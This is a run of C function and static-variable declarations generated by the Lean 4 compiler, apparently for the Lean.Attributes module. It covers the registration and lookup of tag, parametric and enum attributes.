lean_object* l_Lean_PersistentHashMap_foldlMAux___at_Lean_mkModuleData___spec__3___rarg(lean_object*, lean_object*, lean_object*);
static lean_object* l_Lean_registerAttributeImplBuilder___closed__1;
static lean_object* l_Lean_instInhabitedParametricAttribute___closed__1;
uint8_t l_Lean_Name_quickLt(lean_object*, lean_object*);
static lean_object* l___auto____x40_Lean_Attributes___hyg_266____closed__15;
LEAN_EXPORT lean_object* l_Lean_EnumAttributes_setValue___rarg(lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_initFn____x40_Lean_Attributes___hyg_4552____lambda__2___boxed(lean_object*);
LEAN_EXPORT lean_object* l_Lean_registerEnumAttributes___rarg___lambda__1(lean_object*, lean_object*, lean_object*, lean_object*);
lean_object* l_Lean_stringToMessageData(lean_object*);
static lean_object* l_Lean_instInhabitedAttributeImplCore___closed__2;
static lean_object* l_Lean_instToStringAttributeKind___closed__3;
LEAN_EXPORT lean_object* l_Lean_RBNode_fold___at_Lean_registerEnumAttributes___spec__1___rarg(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_throwError___at_Lean_Attribute_add___spec__2(lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_AttributeApplicationTime_noConfusion(lean_object*);
LEAN_EXPORT lean_object* l_Lean_PersistentHashMap_containsAux___at_Lean_registerBuiltinAttribute___spec__6___boxed(lean_object*, lean_object*, lean_object*);
uint8_t lean_string_dec_eq(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l___private_Lean_Attributes_0__Lean_AttributeExtension_addImported(lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_PersistentHashMap_insertAux_traverse___at_Lean_registerBuiltinAttribute___spec__3(size_t, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
static lean_object* l_Lean_registerParametricAttribute___rarg___lambda__4___closed__2;
LEAN_EXPORT lean_object* l_Lean_AssocList_replace___at_Lean_registerAttributeImplBuilder___spec__6(lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_IO_ofExcept___at_Lean_mkAttributeImplOfBuilder___spec__3___boxed(lean_object*, lean_object*);
lean_object* l_Lean_EnvExtensionInterfaceUnsafe_instInhabitedExt___lambda__1(lean_object*);
static lean_object* l_Lean_registerTagAttribute___lambda__4___closed__3;
LEAN_EXPORT lean_object* l_Lean_RBNode_find___at_Lean_ParametricAttribute_getParam_x3f___spec__1(lean_object*);
LEAN_EXPORT lean_object* l_Lean_RBNode_find___at_Lean_EnumAttributes_setValue___spec__1___rarg___boxed(lean_object*, lean_object*);
static lean_object* l_Lean_instInhabitedAttributeImpl___lambda__1___closed__2;
LEAN_EXPORT lean_object* l_Lean_HashMapImp_expand___at_Lean_registerAttributeImplBuilder___spec__3(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_isAttribute___boxed(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_initFn____x40_Lean_Attributes___hyg_518_(lean_object*);
LEAN_EXPORT lean_object* l_Lean_initFn____x40_Lean_Attributes___hyg_3846_(lean_object*);
static lean_object* l_Lean_registerTagAttribute___closed__1;
static lean_object* l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__7;
lean_object* l_Lean_initializing(lean_object*);
LEAN_EXPORT lean_object* l_Array_qsort_sort___at_Lean_registerParametricAttribute___spec__2___rarg___lambda__1___boxed(lean_object*, lean_object*);
extern lean_object* l_Lean_NameSet_instInhabitedNameSet;
static lean_object* l___auto____x40_Lean_Attributes___hyg_266____closed__13;
LEAN_EXPORT lean_object* l_Lean_updateEnvAttributesImpl___lambda__1(lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_registerTagAttribute___lambda__2(lean_object*, lean_object*);
static uint32_t l_Lean_instInhabitedTagAttribute___lambda__1___closed__1;
LEAN_EXPORT lean_object* l_Lean_registerTagAttribute___lambda__5___boxed(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_throwError___at_Lean_Attribute_Builtin_getIdent___spec__2___boxed(lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_throwError___at_Lean_Attribute_add___spec__2___boxed(lean_object*, lean_object*, lean_object*, lean_object*);
static lean_object* l___auto____x40_Lean_Attributes___hyg_266____closed__29;
static lean_object* l_Lean_registerTagAttribute___lambda__4___closed__5;
LEAN_EXPORT lean_object* l_List_mapTR_loop___at_Lean_registerEnumAttributes___spec__3___rarg___boxed(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_throwErrorAt___at_Lean_Attribute_Builtin_ensureNoArgs___spec__1(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
size_t lean_usize_of_nat(lean_object*);
LEAN_EXPORT lean_object* l_Lean_registerParametricAttribute___rarg___lambda__1(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_instInhabitedTagAttribute___lambda__2___boxed(lean_object*, lean_object*);
static lean_object* l_Lean_registerTagAttribute___closed__5;
static lean_object* l___auto____x40_Lean_Attributes___hyg_266____closed__6;
static lean_object* l_Lean_registerTagAttribute___closed__2;
LEAN_EXPORT lean_object* l_Lean_AttributeApplicationTime_noConfusion___rarg___lambda__1(lean_object*);
lean_object* lean_st_ref_take(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Array_qsort_sort___at_Lean_registerEnumAttributes___spec__2(lean_object*);
LEAN_EXPORT lean_object* l_Lean_throwError___at_Lean_getAttrParamOptPrio___spec__2(lean_object*, lean_object*, lean_object*, lean_object*);
static lean_object* l_Lean_registerBuiltinAttribute___closed__2;
LEAN_EXPORT lean_object* l_Lean_registerParametricAttribute___rarg___lambda__5(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
uint8_t lean_nat_dec_eq(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_registerParametricAttribute___rarg___lambda__4___boxed(lean_object*);
static lean_object* l___auto____x40_Lean_Attributes___hyg_266____closed__18;
LEAN_EXPORT lean_object* l_Lean_ParametricAttributeImpl_afterSet___default(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_registerBuiltinAttribute___lambda__2(lean_object*, lean_object*, lean_object*);
static lean_object* l_Lean_Attribute_Builtin_getIdent_x3f___closed__2;
static lean_object* l_Lean_instInhabitedTagAttribute___lambda__1___closed__2;
LEAN_EXPORT lean_object* l_Lean_registerTagAttribute___lambda__3(lean_object*);
LEAN_EXPORT lean_object* l_Lean_AttributeKind_toCtorIdx(uint8_t);
LEAN_EXPORT lean_object* l_List_mapTR_loop___at_Lean_registerEnumAttributes___spec__3___rarg___lambda__3(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, uint8_t, lean_object*, lean_object*, lean_object*);
lean_object* l_Lean_registerPersistentEnvExtensionUnsafe___rarg(lean_object*, lean_object*);
lean_object* l_Lean_PersistentEnvExtension_getModuleEntries___rarg(lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_registerTagAttribute___lambda__8___boxed(lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_getAttributeNames(lean_object*);
LEAN_EXPORT uint8_t l_Lean_TagAttribute_hasTag(lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_HashMapImp_contains___at_Lean_registerAttributeImplBuilder___spec__7___boxed(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_AssocList_contains___at_Lean_registerAttributeImplBuilder___spec__2___boxed(lean_object*, lean_object*);
lean_object* lean_nat_div(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_PersistentHashMap_find_x3f___at_Lean_getBuiltinAttributeImpl___spec__1(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_throwErrorAt___at_Lean_Attribute_Builtin_getIdent_x3f___spec__1(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
lean_object* l_Lean_PersistentEnvExtension_addEntry___rarg(lean_object*, lean_object*, lean_object*);
static lean_object* l___auto____x40_Lean_Attributes___hyg_266____closed__4;
LEAN_EXPORT lean_object* l_Lean_AttributeKind_noConfusion___rarg(uint8_t, uint8_t, lean_object*);
LEAN_EXPORT lean_object* l_Lean_mkAttributeImplOfEntry(lean_object*, lean_object*, lean_object*, lean_object*);
lean_object* l_Lean_PersistentEnvExtension_getState___rarg(lean_object*, lean_object*, lean_object*);
lean_object* lean_eval_const(lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_instInhabitedAttributeImpl___lambda__2___boxed(lean_object*, lean_object*, lean_object*, lean_object*);
static lean_object* l_Lean_instInhabitedTagAttribute___closed__4;
LEAN_EXPORT uint8_t l_Lean_AssocList_contains___at_Lean_registerAttributeImplBuilder___spec__2(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_AttributeApplicationTime_noConfusion___rarg(uint8_t, uint8_t, lean_object*);
LEAN_EXPORT lean_object* l___auto____x40_Lean_Attributes___hyg_1759_;
static lean_object* l_Lean_instToStringAttributeKind___closed__1;
LEAN_EXPORT lean_object* l_Lean_instToStringAttributeKind(uint8_t);
lean_object* l_Lean_Syntax_getKind(lean_object*);
LEAN_EXPORT lean_object* l_Lean_registerTagAttribute___lambda__1___boxed(lean_object*, lean_object*, lean_object*);
static lean_object* l_Lean_registerParametricAttribute___rarg___closed__2;
LEAN_EXPORT lean_object* l_Array_qsort_sort___at_Lean_registerParametricAttribute___spec__2___rarg___boxed(lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_setEnv___at_Lean_registerParametricAttribute___spec__3(lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_registerAttributeOfBuilder(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
static lean_object* l_Lean_getAttrParamOptPrio___closed__2;
LEAN_EXPORT lean_object* l_Lean_EnumAttributes_setValue(lean_object*);
LEAN_EXPORT lean_object* l_Lean_attributeExtension;
LEAN_EXPORT lean_object* l_Lean_throwErrorAt___at_Lean_Attribute_Builtin_ensureNoArgs___spec__1___boxed(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_RBNode_fold___at_Lean_registerParametricAttribute___spec__1(lean_object*);
static lean_object* l_Lean_registerTagAttribute___lambda__6___closed__4;
LEAN_EXPORT lean_object* l_Lean_registerTagAttribute___lambda__6(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_throwErrorAt___at_Lean_Attribute_Builtin_getIdent___spec__1(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
static lean_object* l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__8;
LEAN_EXPORT lean_object* l_Lean_ParametricAttribute_setParam(lean_object*);
static lean_object* l_Lean_registerTagAttribute___closed__6;
lean_object* lean_st_ref_get(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_RBNode_find___at_Lean_ParametricAttribute_setParam___spec__1___rarg(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_throwError___at_Lean_registerTagAttribute___spec__1(lean_object*, lean_object*, lean_object*, lean_object*);
static lean_object* l_Lean_initFn____x40_Lean_Attributes___hyg_518____closed__2;
LEAN_EXPORT lean_object* l_Lean_Attribute_Builtin_getIdent(lean_object*, lean_object*, lean_object*, lean_object*);
uint8_t l_Array_binSearchAux___at_Lean_TagDeclarationExtension_isTagged___spec__1(uint8_t, lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Array_qsort_sort___at_Lean_registerEnumAttributes___spec__2___rarg___boxed(lean_object*, lean_object*, lean_object*);
static lean_object* l_Lean_ParametricAttribute_setParam___rarg___closed__2;
static lean_object* l_Lean_updateEnvAttributesImpl___closed__1;
lean_object* lean_st_mk_ref(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_AttributeExtensionState_newEntries___default;
static lean_object* l_Lean_registerTagAttribute___lambda__6___closed__1;
static lean_object* l___auto____x40_Lean_Attributes___hyg_266____closed__14;
static lean_object* l_Lean_instInhabitedAttributeImpl___closed__3;
LEAN_EXPORT lean_object* l_List_mapTR_loop___at_Lean_registerEnumAttributes___spec__3___rarg___lambda__1___boxed(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
lean_object* l_Lean_addMessageContextPartial___at_Lean_Core_instAddMessageContextCoreM___spec__1(lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_getBuiltinAttributeImpl(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_RBNode_find___at_Lean_EnumAttributes_setValue___spec__1___rarg(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_Attribute_add___boxed(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Array_qsort_sort___at_Lean_registerParametricAttribute___spec__2(lean_object*);
static lean_object* l_Lean_Attribute_Builtin_getIdent___closed__2;
lean_object* l_EStateM_pure___rarg(lean_object*, lean_object*);
static lean_object* l_Lean_Attribute_Builtin_getIdent_x3f___closed__3;
LEAN_EXPORT lean_object* l_Lean_ParametricAttributeImpl_afterImport___default___rarg(lean_object*);
lean_object* l_Lean_RBNode_insert___at_Lean_NameMap_insert___spec__1___rarg(lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_instInhabitedAttributeImpl___lambda__1(lean_object*, lean_object*, uint8_t, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Array_binSearchAux___at_Lean_ParametricAttribute_getParam_x3f___spec__2(lean_object*);
static lean_object* l_Lean_registerBuiltinAttribute___lambda__2___closed__1;
lean_object* l_List_lengthTRAux___rarg(lean_object*, lean_object*);
static lean_object* l_Lean_registerTagAttribute___closed__3;
LEAN_EXPORT lean_object* l_Array_binSearchAux___at_Lean_EnumAttributes_getValue___spec__2___rarg___boxed(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
static size_t l_Lean_PersistentHashMap_insertAux___at_Lean_registerBuiltinAttribute___spec__2___closed__1;
LEAN_EXPORT lean_object* l_Lean_RBNode_find___at_Lean_EnumAttributes_setValue___spec__1(lean_object*);
uint8_t lean_name_eq(lean_object*, lean_object*);
static lean_object* l_Lean_registerTagAttribute___lambda__5___closed__1;
static lean_object* l___auto____x40_Lean_Attributes___hyg_266____closed__28;
lean_object* l_Lean_Name_str___override(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l___auto____x40_Lean_Attributes___hyg_266_;
static lean_object* l_Lean_instInhabitedAttributeImplCore___closed__1;
LEAN_EXPORT lean_object* l_Array_binSearchAux___at_Lean_ParametricAttribute_getParam_x3f___spec__2___rarg___boxed(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
static lean_object* l___auto____x40_Lean_Attributes___hyg_266____closed__3;
LEAN_EXPORT lean_object* l_Lean_getBuiltinAttributeNames___lambda__1___boxed(lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_AttributeKind_noConfusion(lean_object*);
LEAN_EXPORT lean_object* l_Lean_instToStringAttributeKind___boxed(lean_object*);
LEAN_EXPORT lean_object* l_Lean_instMonadLiftImportMAttrM___rarg(lean_object*, lean_object*, lean_object*, lean_object*);
static lean_object* l_Lean_instInhabitedAttributeImpl___closed__2;
LEAN_EXPORT lean_object* l_Lean_instInhabitedTagAttribute___lambda__2(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_registerAttributeImplBuilder___lambda__1___boxed(lean_object*, lean_object*, lean_object*, lean_object*);
lean_object* l_Lean_Syntax_getArg(lean_object*, lean_object*);
LEAN_EXPORT lean_object* lean_attribute_application_time(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l___private_Lean_Attributes_0__Lean_addAttrEntry(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_instInhabitedTagAttribute___lambda__3___boxed(lean_object*);
uint8_t l_Lean_Syntax_isIdent(lean_object*);
LEAN_EXPORT lean_object* lean_is_attribute(lean_object*, lean_object*);
static lean_object* l_Lean_registerTagAttribute___lambda__6___closed__2;
LEAN_EXPORT lean_object* l_IO_ofExcept___at_Lean_mkAttributeImplOfBuilder___spec__3(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_RBNode_fold___at_Lean_registerEnumAttributes___spec__1___rarg___boxed(lean_object*, lean_object*);
static lean_object* l___auto____x40_Lean_Attributes___hyg_266____closed__9;
static lean_object* l_Lean_registerBuiltinAttribute___lambda__2___closed__2;
static size_t l_Lean_PersistentHashMap_insertAux___at_Lean_registerBuiltinAttribute___spec__2___closed__2;
LEAN_EXPORT lean_object* l_Lean_registerTagAttribute(lean_object*, lean_object*, lean_object*, lean_object*, uint8_t, lean_object*);
LEAN_EXPORT lean_object* l_Lean_registerBuiltinAttribute___lambda__1___boxed(lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_getBuiltinAttributeNames___lambda__1(lean_object*, lean_object*, lean_object*);
static lean_object* l_Lean_instToStringAttributeKind___closed__2;
static lean_object* l___auto____x40_Lean_Attributes___hyg_266____closed__26;
LEAN_EXPORT uint8_t l_Lean_instInhabitedAttributeKind;
static lean_object* l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__3;
static lean_object* l_Lean_Attribute_Builtin_ensureNoArgs___closed__1;
static lean_object* l_Lean_Attribute_Builtin_getIdent___closed__1;
LEAN_EXPORT lean_object* l_Lean_throwError___at_Lean_Attribute_Builtin_getIdent_x3f___spec__2___boxed(lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_EnumAttributes_getValue___rarg(lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_instBEqAttributeKind;
lean_object* lean_usize_to_nat(size_t);
static lean_object* l___auto____x40_Lean_Attributes___hyg_266____closed__5;
size_t lean_hashmap_mk_idx(lean_object*, uint64_t);
LEAN_EXPORT lean_object* l_Lean_PersistentHashMap_findAux___at_Lean_getBuiltinAttributeImpl___spec__2(lean_object*, size_t, lean_object*);
LEAN_EXPORT lean_object* l_Lean_getBuiltinAttributeNames(lean_object*);
LEAN_EXPORT lean_object* l_Lean_Attribute_Builtin_getId_x3f(lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_AssocList_find_x3f___at_Lean_mkAttributeImplOfBuilder___spec__2(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_throwError___at_Lean_AttributeImpl_erase___default___spec__1___boxed(lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l___private_Lean_Attributes_0__Lean_beqAttributeKind____x40_Lean_Attributes___hyg_367____boxed(lean_object*, lean_object*);
static lean_object* l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__1;
static lean_object* l___auto____x40_Lean_Attributes___hyg_266____closed__27;
LEAN_EXPORT uint8_t l_Array_qsort_sort___at_Lean_registerParametricAttribute___spec__2___rarg___lambda__1(lean_object*, lean_object*);
static lean_object* l___auto____x40_Lean_Attributes___hyg_266____closed__16;
LEAN_EXPORT lean_object* l_Lean_registerParametricAttribute___rarg___lambda__2(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_ParametricAttribute_setParam___rarg(lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Array_binSearchAux___at_Lean_EnumAttributes_getValue___spec__2___rarg(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_initFn____x40_Lean_Attributes___hyg_4552____lambda__2(lean_object*);
static lean_object* l_Lean_ParametricAttribute_setParam___rarg___closed__1;
LEAN_EXPORT lean_object* l_Lean_AttributeApplicationTime_noConfusion___rarg___lambda__1___boxed(lean_object*);
LEAN_EXPORT lean_object* l_Lean_instInhabitedTagAttribute;
LEAN_EXPORT lean_object* l_Lean_instInhabitedTagAttribute___lambda__1___boxed(lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_RBNode_find___at_Lean_ParametricAttribute_setParam___spec__1(lean_object*);
LEAN_EXPORT lean_object* l_Lean_mkAttributeImplOfBuilder(lean_object*, lean_object*, lean_object*, lean_object*);
static lean_object* l_Lean_registerAttributeImplBuilder___closed__2;
LEAN_EXPORT lean_object* l_Lean_registerTagAttribute___lambda__4(lean_object*);
static lean_object* l_Lean_registerTagAttribute___lambda__4___closed__4;
LEAN_EXPORT lean_object* l_List_forM___at_Lean_registerEnumAttributes___spec__4(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_throwError___at_Lean_AttributeImpl_erase___default___spec__1(lean_object*, lean_object*, lean_object*, lean_object*);
static lean_object* l_Lean_instInhabitedAttributeImpl___closed__1;
LEAN_EXPORT lean_object* l_Lean_ParametricAttribute_getParam_x3f(lean_object*);
LEAN_EXPORT lean_object* l_Lean_AttributeApplicationTime_toCtorIdx___boxed(lean_object*);
LEAN_EXPORT lean_object* l_Array_foldlMUnsafe_fold___at___private_Lean_Attributes_0__Lean_AttributeExtension_addImported___spec__1(lean_object*, lean_object*, size_t, size_t, lean_object*, lean_object*, lean_object*);
static lean_object* l_Lean_ParametricAttribute_setParam___rarg___closed__3;
LEAN_EXPORT lean_object* l_List_mapTR_loop___at_Lean_registerEnumAttributes___spec__3___rarg___lambda__2(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
static lean_object* l_Lean_AttributeApplicationTime_noConfusion___rarg___closed__1;
extern lean_object* l_Lean_NameSet_empty;
LEAN_EXPORT lean_object* l_Lean_PersistentHashMap_foldlM___at_Lean_getBuiltinAttributeNames___spec__1(lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* lean_update_env_attributes(lean_object*, lean_object*);
static lean_object* l_Lean_instInhabitedTagAttribute___closed__3;
LEAN_EXPORT lean_object* l_Lean_PersistentHashMap_insert___at_Lean_registerBuiltinAttribute___spec__1(lean_object*, lean_object*, lean_object*);
static lean_object* l_Lean_initFn____x40_Lean_Attributes___hyg_4552____closed__6;
static lean_object* l_Lean_initFn____x40_Lean_Attributes___hyg_518____closed__3;
LEAN_EXPORT lean_object* l_List_mapTR_loop___at_Lean_registerEnumAttributes___spec__3(lean_object*);
LEAN_EXPORT lean_object* l_List_mapTR_loop___at_Lean_registerEnumAttributes___spec__3___rarg___lambda__1(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_registerEnumAttributes___rarg___lambda__3(lean_object*);
static lean_object* l_Lean_registerTagAttribute___lambda__4___closed__1;
uint8_t lean_nat_dec_lt(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_mkAttributeImplOfConstantUnsafe___boxed(lean_object*, lean_object*, lean_object*);
LEAN_EXPORT uint8_t l_Lean_PersistentHashMap_containsAtAux___at_Lean_registerBuiltinAttribute___spec__7(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l___private_Lean_Attributes_0__Lean_AttributeExtension_addImported___boxed(lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_registerParametricAttribute___boxed(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_RBNode_find___at_Lean_EnumAttributes_getValue___spec__1___rarg(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_List_mapTR_loop___at_Lean_registerEnumAttributes___spec__3___rarg___lambda__3___boxed(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
static lean_object* l___auto____x40_Lean_Attributes___hyg_266____closed__21;
LEAN_EXPORT lean_object* l_Lean_AttributeImpl_erase___default___rarg(lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_AssocList_foldlM___at_Lean_registerAttributeImplBuilder___spec__5(lean_object*, lean_object*);
lean_object* l_Lean_Name_mkStr2(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_ParametricAttribute_getParam_x3f___rarg(lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT uint8_t l_Lean_isAttribute(lean_object*, lean_object*);
static lean_object* l_Lean_mkAttributeImplOfBuilder___closed__2;
LEAN_EXPORT lean_object* l_Lean_registerParametricAttribute___rarg___lambda__7(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, uint8_t, lean_object*, lean_object*, lean_object*);
lean_object* l_Lean_PersistentHashMap_mkEmptyEntries(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_RBNode_fold___at_Lean_registerEnumAttributes___spec__1(lean_object*);
LEAN_EXPORT lean_object* l___private_Lean_Attributes_0__Lean_AttributeExtension_mkInitial(lean_object*);
static lean_object* l_Lean_getAttrParamOptPrio___closed__1;
LEAN_EXPORT lean_object* l_Lean_registerEnumAttributes___rarg(lean_object*, lean_object*, uint8_t, lean_object*, lean_object*);
static lean_object* l_Lean_Attribute_Builtin_getPrio___closed__2;
uint8_t l_Lean_NameSet_contains(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_PersistentHashMap_insertAux___at_Lean_registerBuiltinAttribute___spec__2___boxed(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_registerParametricAttribute___rarg___lambda__4(lean_object*);
uint64_t l_Lean_Name_hash___override(lean_object*);
LEAN_EXPORT lean_object* l_Lean_AttributeApplicationTime_toCtorIdx(uint8_t);
LEAN_EXPORT lean_object* l_Lean_AttributeImpl_erase___default___boxed(lean_object*);
LEAN_EXPORT lean_object* l_Lean_registerTagAttribute___boxed(lean_object*, lean_object*, lean_object*, lean_object*, lean_object*, lean_object*);
static lean_object* l_Lean_registerEnumAttributes___rarg___lambda__3___closed__2;
uint8_t l_Lean_Syntax_isNone(lean_object*);
LEAN_EXPORT lean_object* l_Lean_RBNode_find___at_Lean_ParametricAttribute_getParam_x3f___spec__1___rarg___boxed(lean_object*, lean_object*);
static lean_object* l_Lean_Attribute_Builtin_getIdent_x3f___closed__1;
static lean_object* l_Lean_AttributeImpl_erase___default___rarg___closed__1;
LEAN_EXPORT lean_object* l_Lean_instInhabitedTagAttribute___lambda__3(lean_object*);
lean_object* lean_nat_sub(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_RBNode_find___at_Lean_EnumAttributes_getValue___spec__1___rarg___boxed(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l___private_Lean_Attributes_0__Lean_beqAttributeApplicationTime____x40_Lean_Attributes___hyg_23____boxed(lean_object*, lean_object*);
uint32_t lean_uint32_of_nat(lean_object*);
LEAN_EXPORT lean_object* l_Lean_registerAttributeOfDecl___boxed(lean_object*, lean_object*, lean_object*);
lean_object* lean_nat_mul(lean_object*, lean_object*);
LEAN_EXPORT uint8_t l_Lean_PersistentHashMap_containsAux___at_Lean_registerBuiltinAttribute___spec__6(lean_object*, size_t, lean_object*);
static lean_object* l_Lean_mkAttributeImplOfConstantUnsafe___closed__1;
static lean_object* l_Lean_instInhabitedTagAttribute___closed__1;
lean_object* l_Lean_PersistentHashMap_mkCollisionNode___rarg(lean_object*, lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_RBNode_fold___at_Lean_registerParametricAttribute___spec__1___rarg___boxed(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_registerAttributeOfDecl(lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_TagAttribute_hasTag___boxed(lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Array_foldlMUnsafe_fold___at___private_Lean_Attributes_0__Lean_AttributeExtension_addImported___spec__2(lean_object*, lean_object*, size_t, size_t, lean_object*, lean_object*, lean_object*);
lean_object* l_Lean_PersistentHashMap_mkEmptyEntriesArray(lean_object*, lean_object*);
lean_object* l_Lean_Environment_getModuleIdxFor_x3f(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_registerParametricAttribute___rarg(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_instInhabitedTagAttribute___lambda__1(lean_object*, lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_registerBuiltinAttribute(lean_object*, lean_object*);
static lean_object* l_Lean_registerTagAttribute___closed__4;
LEAN_EXPORT lean_object* l_Lean_AttributeImpl_erase___default(lean_object*);
LEAN_EXPORT uint8_t l_Lean_AttributeImplCore_applicationTime___default;
lean_object* l_List_reverse___rarg(lean_object*);
size_t lean_usize_sub(size_t, size_t);
LEAN_EXPORT lean_object* l_Lean_mkAttributeImplOfEntry___boxed(lean_object*, lean_object*, lean_object*, lean_object*);
lean_object* l_Lean_mkHashMapImp___rarg(lean_object*);
uint8_t l_Lean_Name_quickCmp(lean_object*, lean_object*);
LEAN_EXPORT lean_object* l_Lean_AttributeKind_noConfusion___rarg___boxed(lean_object*, lean_object*, lean_object*);
static lean_object* l___auto____x40_Lean_Attributes___hyg_266____closed__8;
size_t lean_usize_add(size_t, size_t);
static lean_object* l_Array_qsort_sort___at_Lean_registerParametricAttribute___spec__2___rarg___closed__1;
static lean_object* l___auto____x40_Lean_Attributes___hyg_266____closed__24;
